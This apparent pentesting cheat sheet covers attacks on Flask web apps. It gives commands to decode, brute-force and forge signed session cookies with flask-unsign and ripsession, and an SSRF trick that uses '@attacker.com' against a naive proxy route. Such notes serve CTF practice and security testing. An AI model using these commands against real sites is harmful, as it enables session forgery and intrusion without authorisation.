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Probably if you are playing a CTF a Flask application will be related to SSTI.
Default cookie session name is session
.
Online Flask coockies decoder: https://www.kirsle.net/wizards/flask-session.cgi
Get the first part of the cookie until the first point and Base64 decode it>
echo "ImhlbGxvIg" | base64 -d
The cookie is also signed using a password
Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys.
pip3 install flask-unsign
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
Command line tool to brute-force websites using cookies crafted with flask-unsign.
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
This example uses sqlmap eval
option to automatically sign sqlmap payloads for flask using a known secret.
In this writeup it's explained how Flask allows a request starting with the charcter "@":
GET @/ HTTP/1.1
Host: target.com
Connection: close
Which in the following scenario:
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
Could allow to introduce something like "@attacker.com" in order to cause a SSRF.
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